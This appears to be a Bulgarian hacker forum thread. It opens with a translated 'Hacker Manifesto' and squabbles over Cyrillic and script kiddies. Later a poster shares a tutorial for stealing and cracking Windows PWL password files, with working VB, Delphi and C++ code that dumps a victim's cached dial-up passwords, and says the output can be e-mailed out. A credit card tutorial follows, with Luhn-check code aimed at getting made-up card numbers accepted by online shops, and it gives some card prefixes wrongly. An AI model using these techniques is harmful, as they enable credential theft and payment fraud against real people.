Celia Manifest!

Tui kato vidiah che WACHER THE se e postaral da vi pokaje "Manifesta na edin hacker" reshih che e hubavo da go prochetete celia zashtoto tova e neshto koeto burka na dulboko i te kara da se zamislish shto za chovek e hackera! dori i tuk da niama nito edin takuv... Sorry ama tova e istinata ako niakoi se e pochustval zaegnat

Честно мога да кажа, че това е най-доброто, което някога съм виждал в моа живот. Изтръпнах само като го прочетох.
Моля, намерете време да го прочетете, то може да промени възгледите ви относно хакерите и дори живота!

Manifest na edinn HACKER

"Още един хванат днес", пишат вестниците.
"Тинейджър арестуван в компютърен скандал", "Хакер арестуван и обвинен в банкова злоупотреба"… Проклети деца. Всички са еднакви! Но дали вие някога с вашия тесногръд технически ум на 50-те години сте поглеждали в очите на хакера? Чудили ли сте се поякога какво го е направило различен, какво насилствено го е оформило?
Аз съм хакер, заповядайте, влезте в моя свят… Мой е светът, който започва с училището… Аз съм по-умен от повечето от децата; това което ни учеха ме оттегчаваше… Проклети изпълнители. Те всички са еднакви. Аз съм в гимназията. Слушал съм учителите да обясняват за петнадесети път как да подчинят единицата. Разбирам. "Но, г-н Смит, не ви показах работата си. Направих я в главата си…". Проклети деца. Вероятно си подражават. Те всички си приличат.
Направих откритие днес. Открих компютъра. Почакайте малко, но това е страхотно! Той прави това, което аз искам. Ако направи грешка, то е защото съм го понасилил. Но в никакъв случай не защото не ме харесва… Или пък се чувства застрашен от мен… Или мисли, че съм умно магаре… Или мрази преподаването и не би желал да бъде тук… Проклети деца всичко, което правят е да играят игри. Те всички са еднакви.
И тогава се случи… Вратата към света се отвори… Втурна се през телефонната линия електронен пулс, също както хероина през вените на наркомана… Намерено е убежище от всекидневната некомпетентност… Пристанът е открит. "Това е то… Това е мястото, на което принадлежа…". Познавам всеки тук… Дори никога да не съм го срещал, никога да не съм разговарял с него и може би никога да не чуя за него отново… Познавам ви всичките. Проклети деца. Вдигайки телефонната линия отново… Те всички си приличат… Обзалагам се, че всички ния си приличаме… Ния сме хранени с лъжичка бебешка храна в училище, когато сме имали нужда от пържола… Пърченцата месо, които са ни подхвърляли, са били предварително сдъвкани и безвкусни. Малкото, които имаше на какво да ни научат, ни намираха за усърдни ученици, но тези малко са като капки роса в пустинята.
Това е нашият свят сега… Светът на електрониката. Ние използваме услуги, вече съществуващи, без да платим за нещо, което би могло да бъде смешно евтино, ако не е пуснато от спекулиращ алчен човек… И вие наричате нас престъпници. Ние проучваме… А вие ни наричате престъпници. Ние сме болни за знание… А вие ни наричате престъпници.
Ние съществуваме, независимо от цвета на кожата, без националности и религиозни убеждения… А вие ни наричате престъпници.

Вие създадохте атомната бомба, вие водите войни, вие убийци ни лъжете и се опитвате да ни накарате да повярваме, че това е за наше добро и все още ние сме престъпници!

Да, аз съм престъпник! Моето престъпление е любопитствато ми. Престъплението ми е в това, че съдя хората за това, какво казват и мислят, а не на какво приличат - моето престъпление е, че ви надхитрявам, нещо, заради което никога няма да ми простите.
Аз съм хакер и това е моят манифест. Може да спрете единици, но не може да спрете всичките… Ние си приличаме!

Абе, фъкльо, няма ли да се научиш да пишеш на кирилица, а? Или още не можеш да си кирилизираш шибания линукс? Токлова ли не уважаваш себе си, то за околните е ясно че не ги... Бах кирливите помияри са се навъдили...

1.Ne sam fuklio
2.Kakto resha,taka shte pish.Kakav ti e problema?ne mojesh da cehtesh na latinitsa li?Ami nauchise,no predi tova se nauchi na elementarni neshta i togava pravi zabeleshki na okolnite
3.Haresvam i pochitam vsichki,koito vlizat v tozi link,no po niakoi pat ima neshta,koito ne mogat da se premalchat i se kazvat otkrito!
4.Ne sam s Linux.Kak reshi tova ne znam...iavno si mnogo dobarza da znaesh koi kakva sistema ima
5.Uvajavam sebesi dostatachno mnogo,che da sedna i da ti davam obiasnenia na teb!!!

Чистата съвест обикновено е плод на слаба памет

манифестът е последното нещо, което трябва да се свързва с хакерството.
аз го казвам много го казват истинно е
хакер в най-чист вид няма смисъл на индивид разбиващ системи макар и без увреда. будизмът ни учи на чистота и уважение към всяко живо нещо. всяко нещо е уникално. и въпреки бамбукът се e извиl под вятъра макар и слабо - нищо не е вече същото. нарушен баланс. променени са условията.
аз го казвам много го казват истинно е
самата машина не е жива, но тя е създадена от хора, системата е създадена от хора, вложен е труд, който е ценен. както и всяко зрънце, плод на човешка дейност, независимо какво е то, какво мислят другите за него. защото е уникално, ние сме уникални. и аз не само не трябва да го унищожавам, но не би следвало и да го променям.

1. не си.
2. естествено. аз проблеми с латиницата наистина нямам, както и с правописа. ако не разбираш за какво става дума, толкова по-зле, но за теб.
2а. кои са елементарните неща на които да се науча? какво е area code ли? моят е 416, но пак пиша на български в български форум. или какво е ADSL? ползвам го от началото на 1999.
3. може би вече съм зле със очите, ама така и не видях линка за който се говори в заглавието.
4. ако не си с линукс нямаш причина да не пишеш на кирилица.
5. не съм виждал човек който хем да уважава себе си, хем да не научи майчиния си език, или още по-зле - да го е срам от него.

весел хелоуин (???)

пс май ти е много чиста съвестта...

Много добре си направил, че си го постнал тук и може би трябва да се закачи към статичните теми и да седи най-отгоре !

Обаче TheWatcher наистина вземи и пиши на кирилица, че като те чета се чуствам като воайор, който снифи IRC-то на двама 15 годишни, които не знаят как да превключат на кирилица.

Мамка му -> ако нямаш кирилица на машината ползвай Кредор-а

Е тук нищо няма:[линк]

Манифестите са за пубери - хората които знаят колко могат не са го постигнали за един ден и нямат нужда от подобни смешни самоопределения. Освен това приказките Ние сме болни за знание… А вие ни наричате престъпници.
Ние съществуваме, независимо от цвета на кожата, без националности и религиозни убеждения… А вие ни наричате престъпници.
Вие създадохте атомната бомба, вие водите войни, вие убийци ни лъжете и се опитвате да ни накарате да повярваме, че това е за наше добро и все още ние сме престъпници! са пълни глупости. Който е болен за знания може да си кълве на спокойствие без да се завира на някой си в бокса или да приказва неопределени простотии за създателите на атомната бомба... Кои са "те" ? Значи , дайте да си измислим враг за да си оправдаем комплексите. Който има проблеми с обществото не трябва да се превръща в съдник - има си начини как да си кажеш мнението без да вредиш на никого. А "ви" наричат престъпници , защото сте се поставили сами в това положение.
Изобщо не ми е ясно защо тази тема е тук , нарича се линк иизобщо що се тормози някой с нея... А те , брато и да ти знаят ериа кода , пак не могат да свършат никаква работа с него. Аз едно време им дадох харабииско IP и ги помолих да ми сменят уолпейпъра и пак нищо не направиха. Слава богу , модераторите са точни и не пускат инфо. навън, иначе повечето участници тук , въпреки някаквите си знания пишат като скрипт-кидс.
Happy Halloween и на тебе.

100nikz®

Ами нека да кажа и аз нещо по тази тема или да дам един отговор на "Пикльо" и на 1ООникз® за да се разберем веднаш за винаги..

Така искам да ви кажа,че когато побликувах това не съм споменал никого,не съм казвал никакъв Nick name и не съм искал да засегна никого!Ако вие сте се засегнали от това наистина проблема е ваш!Както и да е!Не ме е срам от родният ми език.Харесвам го,но ми харесва да пиша на латиница...Това голям проблем за вас ли е?Ако вземем предвид вашите nick name's ще ни стане ясно колко уважавате себеси...но това не е мой проблем.Не знам и не искам да знам вашите ареа кодове,или IP-та.Не знам на какви сте попадали и какво сте искали,но за да ти сменят Wallpaper-a ,но не е много трудно.Друг е въпроса дали тези хора са искали да се занимават с ТАКЪВ като теб!!!???Попитал ли си ги защо не ми сменихте Wallpaper-a бе пичове??Ами аз съм сигурен,че не си ги попитал защото си се усетил каква смешка си направил.Как е възможно да искаш такива неща от хората???Много ми е чудно..та ти си станал за смях и са те разбрали що за човек си:))Това е толкова глупаво нещо,че дори един ламер няма да тръгне и да се занимава с теб:))Направо си се изложил и това могат да ти го кажат и другите,не само аз:))

Ами това мисля че е достатъчно.наистина нямам намерение да обсаждам каквото и да било с вас..Желаи ви успех и умната с хакерските номера.Не минават на всякъде!!!каквото и да напишете аз няма да го прочета нито пък ще ви дам отговор.Тaка че направете СИ жеста и не пишете нищо!!!

Що се однасиа до моята съвест, само аз знам колко е чиста!!!

Чистата съвест обикновено е плод на слаба памет

Abe bez da se obijdate ama Wacher se opitva da pomogne da pochistim lamerite ot toia forum! i izglejda zasegnatite se ubajdat vednaga! vmesto da go potkrepite vie mu davate kup glupavi idei koito sa absulutno bezmisleni! ot sorta na "zemi da pishesh na kirilitza" dobre be az sushto predpochitam da pisha na latinica samoche ne polzvam "glupav Linux" (xaxxaxax jalko che do sega ne sum chul niakoi koito razbira ot PC da se oplakva ot linux) a polzvam Win XP i za da buda oshte po tochen Pro ta misulta mi beshe nie laem protiv lametata i vie izvednuj hlutvate da se raspraviate sus nas... razbiram ako se mislite za glupavi lameta da ama ne se seshtam za hora koito ubojavat da se ubijdat i to publichno

samo da dopulnia ro6av triabva da ti kaja che ti si iskluchenie ot tezi malko po na gore sus smeshnite imena! i drugia koito ima pravo e Avalokiteshvara suglasen sum sus vas!

P.S. e osven za kirilicata

хич не ми пука как се чувстяаш да ти кажа съвсем откровенно , аз си разговарях с колегата от Т-то.
Не съм се засегнал изобщо-това си е ваш клуб , линк , форум , наричай го както искаш. Аз не мога да се нареча "хакер" , просто си изказах мнението-доколкото мога да видя не сте забранили хора без хакерска диплома да минават от тук. Идеята ми беше , че това дето си го сложил може да се намери навсякъде и от всекиго.
Ти изглежда си нов тук, като гледам как се палиш за неща кото едва ли са толкова важни... Когато намериш темата с айпи-то за която споменах ще разбереш защо съм искал да ми сменят уолпейпъра - до тогава няма смисъл да приказваш колко е лесно , щото ти например никога няма да можеш да го направиш.
А това за никовете е още по-смешно от мнението ти за мене.Стига да можеш да го разбереш.
Бъди здрав.

100nikz®

Най-вероиатно някои от вас вече сигурно са прочели това


Но за тези който не са искам да кажа,че тези две статйки говорят много за добротата на тези хора..или това е лъжа направена на Photoshop?Едва ли е лъжа според мен



Чистата съвест обикновено е плод на слаба памет

(Заглавие на статия от вестник "24 часа", бр. 44/16 Февруари 1999 г., стр. 8)




На някои хора ще им баде много интересна тази тема или по точно въпроса защо са го направили???Ами то е ясно..на вас ще ви баде ли приятно ако жибеете в свят без Internet???

Чистата съвест обикновено е плод на слаба памет

Проблемът със скрипт кидитата е, че си умират да се самоопределят като хакери ! Това автоматично издава и възрастта и уменията ... но кой да се замисля по въпроса .

За да не се чудиш да поясня : на този форум (незнайно защо) му викат линк .

Microsoft knows more than 1 way to shit on themselves !

Как ще прочетеш инфо-то преди да отвориш линка ама както и да е
Съгласен съм с тебе. Извинявам се ако в разговора си с пикльо съм наранил хакерските чувства на някой.
Мене всъщност латиницата никога не ми е пречила , нито Linux , нито Windows, забележката ми беше за съвсем различно нещо.
Иначе и тук може да се научи нещо полезно , когато не се пише толкова много как да се пази "линка" от ламерите . То за да разкараш ламерите , трябва да ги отделиш от хакерите първо а как точно ще стане тая работа никой не казва.
Аз и не питам. Току - виж някой пак ми се скарал ....
Бъди здрав.

100nikz®

Този линк не е само за хакери,но също така и за Кракерите,който имат голями умения в тяхните желания и цели..Така,че даваите думата и на другите да кажат нещо без да ги засенгете...Предполагам,че доста от вас знаят разликите м/у хакер и кракер...
Не е нъжно да отделяш ламер* от хакер или кракер.Ако всеки влиза в този линк и не отговаря на глупавите въпроси,ТЕ сами ще се разкарат.Това е моето предложение,ако някой има нещо друго да кажа,моля да сподели!
Аз мисля,че в този линк трябжа да има повече информация отколкото отгожори на някакви си въпроси.Така някои може да се научат на много неща ако влизат тук и четат вместо да задават глупави въпроси!

Чистата съвест обикновено е плод на слаба памет

Май Българският ти е труден по принцип и затова избягваш да го ползваш ... също и терминологията не ти е много ясна ... какво означава link ? Това е форум, не е линк . И какви точно "отгожори" са необходими на един хакер или кракер ? Какво предлагаш ? Да се разкарат всички от форума и никой на никого да не отговаря за да няма тъпи въпроси и още по-тъпи "отгожори" ? Не разбрах зачервеният израз ламер* (заедно със звездичката) ... и защо според тебе не трябвало да се отделя от кракер или хакер ? Значи според тебе са едно и също така ли ? Ти ламер* ли си ?

п.с. Още някой преводи на хак и крак :
hack - пробиване на път с брадва
crack - пукнатина

п.п.с. Защо пък да няма и клуб за лойтери и башъри щом има за кракери и хакери .
(още някой преводи:
loiter - мотая се, губя си времето
bash - блъскам се, пробивам си път)
То този "линк" и бездруго е преситен от такива персони ... едни само се мотаят тук, а други повтарят един и същи въпрос по три пъти и в крайна сметка някой им отговаря само и само да спрат спамоподобното повтаряне на едно и също .

Прочее : ЗАЩО ПО ДЯВОЛИТЕ КЛУБА НЕ СЕ МОДЕРИРА ???
"Отгожор" : ЗАЩОТО Е ТОЛКОВА СМОТАН, ЧЕ МОДЕРАТОРА Е ВДИГНАЛ РЪЦЕ ОТ НЕГО !!!

Microsoft knows more than 1 way to shit on themselves !

Ti martyr si ot tezi loiter koioto niamat nikakva rabota i se chudiat kade da si zabiat dalgia nos:)Ako si prochel po-vnimatelno shte razberesh,che Watcher The iska da kaje,che tuk ne e samo za hackeri,no i za crackeri....kazal e che ima goliama razlika m/u tiah!!!Ama koi da sedne i da prochete kade kakvo pishe???Takivakato teb ne sa za tuk i imenno za takiva kato teb e napisal dumichkata lamer* i ako se napanesh malko silovoto veshtestvo,shte razberesh za sashto e tazi * vcherveno!!!
Otidi i se oplachi na moderatorite,ne tuk!!!Tuk naistina triabva da se puska poveche info otkolkoto da se zadavat vaprosi.I kakav vi e problema za latinitsata,ne moga da razbera!!Zashto ne kajete niakade da vi napraviat vsichki programi na Kirilitsa ami sedite i se pulite kak da si instalirate programa,koiato e na English?Kак може да си толкова елементарен??

All palces are equally far from hevan

IMAMA VAPROS ZA TEB...KAJI KOGATO VLIZASH TUK KOE SHTETI E PO PRIATNO DA PROCHETESH???DAITE Serien # za edi kakvo si ili neshto ot tozi rod??

Windows Passwords Cracking


Ako wse oshte niakoj ot was ne znae parolite za Dial-up se syhraniawat w file s razshirenie PWL wyw washata Windows direktoria

Tozi file ima slednata struktura (w zakodiran wid razbira se)

Wid na resursa (1 bajt)
Ime na resursa (do 255 bajta)
Parola za resursa (do 255 bajta)

Imeto na resursa ima slednia wid:

Whoden_File/Ime_na_connectiona/User_name
napr.
*Rna/My Connection/nasko

Za da se razkodira PWL file-a Windows izpolzuwa specifichna parola, koiato ne e ukazana w tozi file. Tazi parola e
swyrzana s towa dali potrebitelia se e lognal w Windows. Ako pri wkliuchwaneto wi w Windows ne izpolzuwate login
imeto i parolata na potrebitelia, PWL file-a niama da moje da byde razkodiran. Za towa ako imate kompiutyr, kojto se izpolzuwa ot dosta hora slagajte parola w Windows-a si ili ne izbirajte Save Password w Dial-up Networking

Naj-chesto imenata na potrebitelite sywpadat s imeto na PWL file-a. Za da moje da byde izpolzuwan edin PWL file, toj triabwa da e registriran w sistemata. Towa moje da se izwyrshi chrez file-a system.ini . Otworete go i otidete w [Passwords Lists] kydeto shte widite wsichki registrirani PWL fileowe.

Sega da se zaemem s razkodiraneto na tozi file po-seriozno.

Shte razgledam niakolko wyzmojnosti:

1) Imate PWL file, no ne znaete login name-a ili parolata za Windows na choweka, ot kojto ste go swili
- Preporychwam wi da izpolzuwate programata Cain ,koiato
prilaga Brood Force ataka po file-a s cel da otkrie paro-
lata i da go razbie

2) Imate PWL file-a ,kakto i user name-a na potrebitelia za Windows (i ako ima parola i neia)
- E dobre. Kopirajte file-a wyw washata Windows direktoria i
go registrirajte w system.ini . Sega otworete sistemnia
register (RegEdit.EXE) i tyrsete stojnost ot wida:
HKEY_CURRENT_USER\RemoteAccess\Profile
Wmesto Username napishete login imeto na washata jertwa.
(Moje da se naloji i da smenite imeto na connection-a)
Sega restartirajte Windows i se wkliuchete s chujdia
username. Pusnete Dial-up Networking i bi triabwalo da se
poiawiat negowoto ime i parola (sys "*"). Sled towa izpol-
zuwajte niakoia programa za razkriwane na tekstowi kutii
s Password Char (ne znam konkreten adres ama gi ima mnogo)

(tozi metod ne sym go probwal lichno, no sa mi kazwali che "raboti idealno")

3) Sega idwa naj-trudnia moment ... da naprawim programa za razkodirane na PWL file. Moje bi si mislite che shte triabwa
da izwyrshim stotici operacii nad tozi file, no wsyshtnost Microsoft sa oblikchili mykite ni kato sa si naprawili gotowa proce- dura za dekriptiraneto mu :)

Ta tazi procedura e WNetEnumCachedPasswords i se namira wyw file-a MPR.DLL . Moje bi tuka e momenta da wmykna edin interesen nachin da razberete dali niakoia programa niama da wi byrka w parolite. Ta znachi predi da startirate kakwoto i da e
bilo symnitelo EXE , izberete Quick View (ot skachashtoto menu) i prowerete dali programata ne prawi obryshtenie kym mpr.dll . Ako e taka po-dobre ne pipajte programata.

Da se wyrna na misylta si sega. Znachi tazi procedura ima slednia format

WORD WNetEnumCachedPasswords (
LPSTR s,
WORD i,
BYTE b,
XPTR Proc,
DWORD l);

Pyrwite tri parametryra do sega nikyde ne sym prochel za kakwo sa, no az izpolzuwam slednite im stojnosti:
s = "";
i = 0;
b = 255;
l = 0;

Za da izwlechem parolata shte izpolzuwame slednia zapis:

typedef struct PCE {
WORD cbEntry; // goleminata na resursa kato cialo
WORD cbResource; // goleminata na imeto na resursa
WORD cbPassword; // goleminata na parolata na resursa
BYTE iEntry; // poziciata,ot koiato se chete PWL file-a
BYTE nType; // tipa na resursa (6 e za Dial-up paroli)
BYTE abResource[1]; // nachaloto na imeto na resursa
} CACHED_PASS;


Za chetwyrti parametyr na WNetEnumCachedPassword shte slojim adresa na funkcia, koiato shte obrabotwa syotwetnite danni i shte wryshta rezultata w niakakwa promenliwa ili na ekrana


Znam che wsichko towa moje da wi zwuchi dosta neiasno (i s men w nachaloto beshe taka), no ako se zanimawate pone malko s programirane ,kodowete otdolu shte wi pomognat da go shwanete. (slojil sym komentar za obiasnenie na wsich-
ko)


Visual Basic (5.0 ili po-wisoka)

Za naj-lesno w nachaloto si slojete edin modul w programata kydeto shte wkarate koda, za da moje da wi e winagi na razpolojenie. Oswen towa shte wi triabwa ListBox s ime List1 wyw Form1

KOD:

Declare Function WNetEnumCachedPasswords Lib "mpr.dll" (ByVal s As String, _
ByVal i As Integer, ByVal b As Byte, ByVal proc As Long, ByVal l As Long) _
As Long

Type PASSWORD_CACHE_ENTRY
cbEntry As Integer ' znaete
cbResource As Integer ' znaete
cbPassword As Integer ' znaete
iEntry As Byte ' znaete
nType As Byte ' znaete
abResource(1 To 1024) As Byte ' syshto
End Type

Public Function callback(X As PASSWORD_CACHE_ENTRY, ByVal lSomething As _
Long) As Integer
'Towa e funkciata,koiato shte izwejda dannite na ekrana w List1

Dim nLoop As Integer
Dim cString As String
Dim Resource As String
Dim ResType As String
Dim Password As String
ResType = X.nType

'ot tuk prewkliuchwam na HTML format za po-lesno :)
' <formatirane na imeto na resursa>
For nLoop = 1 To X.cbResource
If X.abResource(nLoop) <> 0 Then
cString = cString & Chr(X.abResource(nLoop))
Else
cString = cString & " "
End If
Next
' </formatirane na resursa>

Resource = cString
cString = ""

' <formatirane na parolata>
For nLoop = X.cbResource + 1 To (X.cbResource + X.cbPassword)
If X.abResource(nLoop) <> 0 Then
cString = cString & Chr(X.abResource(nLoop))
Else
cString = cString & " "
End If
Next
' </formatirane na parolata>

Password = cString

cString = ""

Form1.List1.AddItem "Resource " & Resource & " Password: " & Password
callback = True

End Function

Public Sub GetPasswords()
' kato wi triabwa parola napishete Call GetPasswords i ne zabrawiajte wyw
' formata da imate List1
Call WNetEnumCachedPasswords("", 0, 255, AddressOf callback, 0)
End Sub


KRAJ

E dobre. Mislia che ot towa malko wi se poizbistri. Sega shte wi dam samo
kodowete za Delphi (3.0 ili po-wisoka) i C++


Delphi
(towa wi e celia Unit)

KOD:



unit Unit1;

interface

uses
Windows, SysUtils, Classes, Forms, Controls, StdCtrls;

type
TForm1 = class(TForm)
Button1: TButton;
ListBox: TListBox;
procedure FormShow(Sender: TObject);
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public

end;

var
Form1: TForm1;

{Standartna procedure ot mpr.dll }
function WNetEnumCachedPasswords(lp: lpStr; w: Word; b: Byte; PC: PChar; dw: DWord): Word; stdcall;

implementation

{$R *.DFM}
function WNetEnumCachedPasswords(lp: lpStr; w: Word; b: Byte; PC: PChar; dw: DWord): Word; external mpr name 'WNetEnumCachedPasswords';

type
PWinPassword = ^TWinPassword;
TWinPassword = record
EntrySize: Word; { Obshta golemina na bloka }
ResourceSize: Word; { Golemina na resursa (Rna/My Connection naprimer) }
PasswordSize: Word; { Golemina na parolata }
EntryIndex: Byte; {Whodiashtata pozicia w PWL file-a }
EntryType: Byte; {Tip na resursa }
PasswordC: Array[0..$FF] of Char; { bufer za iztochnia string }
end;

var
WinPassword: TWinPassword;

{Funkcia za dobawiane na sledwashtata parola w spisyka }
function AddPassword(WinPassword: PWinPassword; dw: DWord): LongBool; stdcall;
var
Password: String;
PC: Array[0..$FF] of Char;
begin
Move(WinPassword.PasswordC, PC, WinPassword.ResourceSize);
PC[WinPassword.ResourceSize] := #0;
CharToOem(PC, PC);
Password := StrPas(PC);

Move(WinPassword.PasswordC, PC, WinPassword.PasswordSize + WinPassword.ResourceSize);
Move(PC[WinPassword.ResourceSize], PC, WinPassword.PasswordSize);
PC[WinPassword.PasswordSize] := #0;
CharToOem(PC, PC);
Password := Password + ': ' + StrPas(PC);

Form1.ListBox.Items.Add(Password);
Result := True;
end;

procedure TForm1.FormShow(Sender: TObject);
begin
if WNetEnumCachedPasswords(nil, 0, $FF, @AddPassword, 0) <> 0 then
begin
Form1.ListBox.Items.Add('No passwords found');
halt;
end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
Form1.ListBox.Items.Delete(Form1.ListBox.ItemIndex);
end;

end.

KRAJ

Za tazi programa shte wi triabwa otnowo samo edin ListBox (s ime ListBox) i Button. Razbira se mnogo
lesno moje da e promenite da kajem wmesto w ListBox da gi zapiswa wyw file
ili da gi prashta po e-mail (kakto az sym si naprawil)


I nakraia da ne podceniawame i C++ :))
Eto wi i koda za nego

KOD:


#include <stdafx.h>
#include <windows.h>
#include <stdio.h>

typedef struct PCE {
WORD cbEntry; // syshtoto
WORD cbResource; // i pak syshtoto
WORD cbPassword; // niamam dumi
BYTE iEntry; // eto me i tuk :)
BYTE nType; // kwo li shte e towa ?
BYTE abResource[1]; // piswa nali?

} CACHED_PASS;

char *buf, *ob1; // bufer za parola
int cnt = 0; // kolko parolki imame

BOOL CALLBACK pce(CACHED_PASS *x, DWORD)
{
cnt++;

// obrabotka na user name
memmove(buf, x->abResource, x->cbResource);
buf[x->cbResource] = 0;
CharToOem(buf, ob1);
printf("%-30s : ", ob1);

// obrabotka na parola
memmove(buf, x->abResource+x->cbResource, x->cbPassword);
buf[x->cbPassword] = 0;
CharToOem(buf, ob1);
printf("%s\n", ob1);

return TRUE;
}

void main()
{
buf = new char[1024];
ob1 = new char[1024];

HINSTANCE hi = LoadLibrary("mpr.dll");
if(!hi)
{
puts("Error loading mpr.dll"); // Edwa li tozi red shte se izpylni ama
// neka si go slojim :)
return;
}
WORD (__stdcall *enp)(LPSTR, WORD, BYTE, void*, DWORD) =
(WORD (__stdcall *)(LPSTR, WORD, BYTE, void*, DWORD))GetProcAddress(hi,
"WNetEnumCachedPasswords");
if(!enp)
{
puts("Error loading function"); // Syshtoto kato otgore
return;
}
(*enp)(0,0, 0xff, pce, 0);
if(!cnt)
puts("No passwords found.\n");

FreeLibrary(hi);
}

KRAJ

Ami towa e wsichko ot men.
Chakam da otgoworish ako si razbral neshto!!!
////////////////////////////////////////////////////////////////////////////////////////////////////

GENERATORI NA KREDITNI KARTI



Predpolagam wseki edin ot was se e pital zashto ako napishete niakoj slu-
chaen nomer na kreditna karta w niakoj adres za e-shop (elektronna tyrgowia)
te wi e othwyrliat. Otgowora e mnogo prost ... wsiaka walidna karta si ima
specialno prawilo, po koeto se obrazuwat otdelnite i cifri. I imenno towa
smiatam da obiasnia tuka.

Ta kakto znaete po-goliamata chast ot kreditnite karti se systoiat ot 16 ci-
fri (ne si mislete che te se grupirat po chetworki kakto gi izkarwat powe-
cheto generatori). Towa e napraweno s cel po nikakyw nachin da ne mojete da
uluchite waliden nomer na karta bez da znaete takyw(oswen ako niamate na-
wika wseki pyt da udriate 6-ca ot toto-to :) ). Po tozi nachin se polucha-
wat 10^16 (znaka "^" w programiraneto naj-chesto e oboznachenie za powdigane
na stepen) wyzmojni nomera na karti. Obache towa ne e wsyshtnost taka po-
neje kakto kazah ima prawila, po-koito se obrazuwa nomera na edna karta

Za nashia primer shte wzemem slednia primeren WALIDEN nomer:

4019 0154 6105 1731
T K
i o
p n
t
r
o
l
a

Pyrwata cifra pokazwa widyt na kreditnata karta. Tia osnowno ima slednite
stojnosti:
3 - Master Card
4 - VISA
5 - American Express

Poslednata cifra igrae roliata na kontrolna suma i imenno tia opredelia dali
kartata e walidna. Probwajte w adres za e-shop da napishete proizwolen no-
mer (zapochasht s 4 da rechem) 10 pyti kato wseki pyt smeniate kontrolnata
cifra. Moga da wi garantiram, che w edin moment kartata shte byde prieta
(oswen ako firmata niama on-line dostyp do nomerata na kreditnite karti
w niakoia banka).
I sega idwa slojnia moment... da razberem kak po-lesno mojem da namerim ta-
zi cifra

4019 0154 6105 1731
NCNC NCNC NCNC NCNC
X

Kakto wijdate tazi karta ima 16 cifri,ot koito 8 sa na nechetni pozicii(N) i
8 na chetni (C). W sluchaia niama da razglejdame poslednata cifra poneje cel-
ta ni e da razberem koia e (otbeliazwame si e s X i kartata pridobiwa wida)
4019 0154 6105 173X

Za nachalo wzimame wsiaka edna cifra ot nechetnite mesta i e umnojawame po
dwe. Sled, koeto proweriawame dali rezultata e po-goliam ili rawen na 10 i
ako e taka izwajdame 9. Towa prawim s wsichki nechetni pozicii i nakraia
sybirame poluchenite stojnosti. Kym tiah pribawiame stojnostite na chetnite
pozicii i poluchawame niakakyw rezultat.Sled towa ot naj-blizkata po-golia-
ma krygla desetica wadim tozi rezultat i ako poluchenoto chislo e rawno na
poslednata cifra na kartata znachi tia e walidna.

I neka da go pokajem towa s nagleden primer:
Otnowo wzimame kartata 4019 0154 6105 173X. Oshte w nachaloto mojem da raz-
berem che tia e VISA kato widim nomera i otpred.
Sega prawim opisanite dejstwia.

4019 0154 6105 173X
NCNC NCNC NCNC NCNC

(pyrwo s nechetnite pozicii)
4*2=8 -> po-malko e ot 10 ,taka che si go ostawiame taka
---
1*2=2 -> nego syshto
---
0*2=0 -> i pak
---
5*2=10 -> pri po-goliamo ili rawno na _
10-9=1 10 wadim 9 i poluchawame 1
---
6*2=12 -> po-goliamo ot 10 => _
12-9=3 poluchawame 12-9 =3
---
0*2=0 -> ostawiame go 0
---
1*2=2 -> towa si e dwe
---
3*2=6 -> ne pip, che plias :)

Kato sumirame poluchenite rezultati poluchawame:
8+2+0+1+3+0+2+6=22
Kym 21 pribawiame wsichki chisla ot chetnite pozicii bez poslednoto, koeto
ograe roliata na kontrolna suma. Poluchawame:
22+0+9+1+4+1+5+7=49

Sega ot naj-blizkata po-goliama desetica (w sluchaia e 50) wadim chisloto i
poluchawame 50-49=1
Sledowatelno ,za da e walidna kartata 4019 0154 6105 173X , poslednata cifra
triabwa da e 1

I wse pak ne wi preporychwam taka da smiatate nomera na kreditni karti :))
Ne che e trudno, no po-dobre shte wi e ako si wzemete programa kato Credit
Master, koiato wkliuchwa w sebe si i identifikatora na bankata (naj-chesto
ot wtora do sedma cifra). Tozi identifikator e opredelen za wsiaka banka i
powecheto adresi niama da priemat karta s greshen identifikator

I wse pak eto wi Source koda na edna sywsem elementarna programka na Turbo
Pascal, koiato pro weriawa dali dadena karta e walidna i predpolagam wseki
ot was moje da e naprawi:

uses Crt;

Function ValidCC(const Card:string): string;

Var CheckSum,i,digit: integer;
CC: string;
C: array[0..255] of byte absolute CC;
Begin

{Tezi redowe prehwyrliat zadadena stojnost w stringa CC samo kato chisla}
CC:='';
for i:= 1 to length(Card) do
if (Card>='0') and (Card<='9') then
CC:= CC + Card;

CheckSum:= 0; {Towa e poskednata cifra na kartata}

for i:= 1 to C[0]-1 do
begin
digit:= C - 48;
if odd(i+C[0]) then digit:= digit *2;
if digit >= 10 then Dec(digit,9);
Inc(CheckSum,digit);
end;
CheckSum:= (10-(CheckSum mod 10)) mod 10;

if (C[C[0]]-48 <> CheckSum) or (C[0]<13) or (C[0]>22) then
ValidCC:='The number ' + CC + ' is not valid'
else case CC[1] of
'3': ValidCC:= 'Type: Mastercard ; Number: '+CC;
'4': ValidCC:= 'Type: Visa ; Number: '+CC;
'5': ValidCC:= 'Type: American Express ; Number: '+CC;
end;
end;

var ccnum:string;
begin
clrscr;
textcolor(3);
writeln(' Credit Card Verificator v1.0 by Razor');
textcolor(7);
writeln;
write('Enter CC number: ');
readln(ccnum);
writeln;
writeln(ValidCC(ccnum));
end.

Ami dolkoto si razbral tova ne e forum ili link za takiva kato teb!!Get out!
Ami ako naistina ti gi znaesh tezi neshta i si razbotil s tiah togava moje da govorim na drug ezik i drugo miasto!!!

All palces are equally far from hevan

Какво е " hevan " ?

100nikz®